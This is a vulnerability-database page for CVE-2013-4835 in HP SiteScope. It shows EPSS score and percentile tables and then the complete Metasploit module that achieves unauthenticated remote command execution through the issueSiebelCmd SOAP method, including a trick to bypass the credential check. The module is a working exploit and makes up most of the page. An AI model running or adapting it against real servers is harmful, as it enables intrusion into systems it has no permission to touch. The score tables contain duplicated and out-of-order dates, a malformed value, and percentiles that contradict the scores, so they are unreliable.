CVE-2013-4835 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	88.59%	–	–
2022-10-09	–	–	89.59%	–	–
2023-03-12	–	–	–	97.16%	–
2023-06-18	–	–	–	97.21%	–
2023-08-06	–	–	–	97.1%	–
2023-09-17	–	–	–	97.2%	–
2023-11-05	–	–	–	96.92%	–
2023-12-24	–	–	–	96.97%	–
2024-02-11	–	–	–	97.14%	–
2024-06-02	–	–	–	97.02%	–
2024-06-02	–	–	–	97.02%	–
2024-07-28	–	–	–	95.82%	–
2024-09-29	–	–	–	96.88%	–
2024-12-08	–	–	–	96.95%	–
2024-12-22	–	–	–	97.1%	–
2025-02-02	–	–	–	97.04%	–
2025-01-19	–	–	–	97.1%	–
2025-02-02	–	–	–	97.04%	–
2025-03-18	–	–	–	–	77.01%
2025-03-30	–	–	–	–	79.3%
2025-03-30	–	–	–	–	79.3,%

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Date	Percentile
2022-02-06	1%
2022-10-09	1%
2023-03-12	1%
2023-06-18	1%
2023-08-06	1%
2023-09-17	1%
2023-11-05	1%
2023-12-24	1%
2024-02-11	1%
2024-06-02	1%
2024-06-02	1%
2024-07-28	99%
2024-09-29	1%
2024-12-08	1%
2024-12-22	1%
2025-02-02	1%
2025-01-19	1%
2025-02-02	1%
2025-03-18	99%
2025-03-30	99%
2025-03-30	99%

## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'rexml/document' class Metasploit3 < Msf::Exploit::Remote Rank = GreatRanking HttpFingerprint = { :pattern => [ /Apache-Coyote/ ] } include REXML include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStagerVBS def initialize(info = {}) super(update_info(info, 'Name' => 'HP SiteScope issueSiebelCmd Remote Code Execution', 'Description' => %q{ This module exploits a code execution flaw in HP SiteScope. The vulnerability exists in the APISiteScopeImpl web service, specifically in the issueSiebelCmd method, which allows the user to execute arbitrary commands without authentication. This module has been tested successfully on HP SiteScope 11.20 over Windows 2003 SP2, Windows 2008 and CentOS 6.5. }, 'Author' => [ 'rgod <rgod[at]autistici.org>', # Vulnerability discovery 'juan vazquez' # Metasploit module ], 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', '2013-4835'], [ 'OSVDB', '99230' ], [ 'BID', '63478' ], [ 'ZDI', '13-263' ] ], 'Privileged' => true, 'Platform' => %w{ win unix }, 'Arch' => [ ARCH_X86, ARCH_CMD ], 'Payload' => { 'Space' => 2048, 'DisableNops' => true }, 'Targets' => [ [ 'HP SiteScope 11.20 / Windows', { 'Arch' => ARCH_X86, 'Platform' => 'win' } ], [ 'HP SiteScope 11.20 / Linux', { 'Arch' => ARCH_CMD, 'Platform' => 'unix', 'Payload' => { 'BadChars' => "\x20\x22\x27\x3c", 'Compat' => { 'RequiredCmd' => 'perl python bash-tcp gawk openssl' } } } ] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Oct 30 2013')) register_options( [ Opt::RPORT(8080), OptString.new('TARGETURI', [true, 'Path to SiteScope', '/SiteScope/']) ], self.class) end def check value = rand_text_alpha(8 + rand(10)) res = send_soap_request(value) if res and res.code == 500 and res.body.to_s =~ /Cmd Error: User and Password must be specified/ return Exploit::CheckCode::Appears end return Exploit::CheckCode::Safe end def exploit if target.name =~ /Windows/ print_status("#{peer} - Delivering payload...") # cmd.exe max length is 8192 execute_cmdstager({:linemax => 8000, :nodelete => true}) elsif target.name =~ /Linux/ print_status("#{peer} - Executing payload...") execute_command(payload.encoded, {:http_timeout => 1}) end end def execute_command(cmd, opts={}) if target.name =~ /Windows/ cmd.gsub!(/data = Replace\(data, vbCrLf, ""\)/, "data = Replace(data, \" \" + vbCrLf, \"\")") command = "cmd.exe /c " command << cmd.gsub(/&/, "&#x26;") # HTML Encode '&' character to avoid soap request parsing errors command << " &#x26; /u #{rand_text_alpha(4)} /p #{rand_text_alpha(4)}" # To bypass user and pass flags check before executing elsif target.name =~ /Linux/ command = "sh -c " command << cmd.gsub(/&/, "&#x26;") # HTML Encode '&' character to avoid soap request parsing errors command << " /u #{rand_text_alpha(4)} /p #{rand_text_alpha(4)}" # To bypass user and pass flags check before executing end res = send_soap_request(command, opts[:http_timeout] || 20) return if target.name =~ /Linux/ # There isn't response with some ARCH_CMD payloads unless res and res.code == 500 and res.body =~ /SiteScope encountered an error associated with running a command/ fail_with(Failure::Unknown, "#{peer} - Unexpected response, aborting...") end end def get_soap_request xml = Document.new xml.add_element( "soapenv:Envelope", { 'xmlns:xsi' => "http://www.w3.org/2001/XMLSchema-instance", 'xmlns:xsd' => "http://www.w3.org/2001/XMLSchema", 'xmlns:soapenv' => "http://schemas.xmlsoap.org/soap/envelope/", 'xmlns:api' => "http://Api.freshtech.COM" }) xml.root.add_element("soapenv:Header") xml.root.add_element("soapenv:Body") body = xml.root.elements[2] body.add_element( "api:issueSiebelCmd", { 'soapenv:encodingStyle' => "http://schemas.xmlsoap.org/soap/encoding/" }) ser = body.elements[1] ser.add_element("in0", {'xsi:type' => 'xsd:string'}) ser.elements['in0'].text = "MSF_COMMAND" xml.to_s end def send_soap_request(command, timeout = 20) res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'services', 'APISiteScopeImpl'), 'method' => 'POST', 'ctype' => 'text/xml; charset=UTF-8', 'data' => get_soap_request.gsub(/MSF_COMMAND/, command), # To avoid rexml html encoding 'headers' => { 'SOAPAction' => '""' } }, timeout) return res end end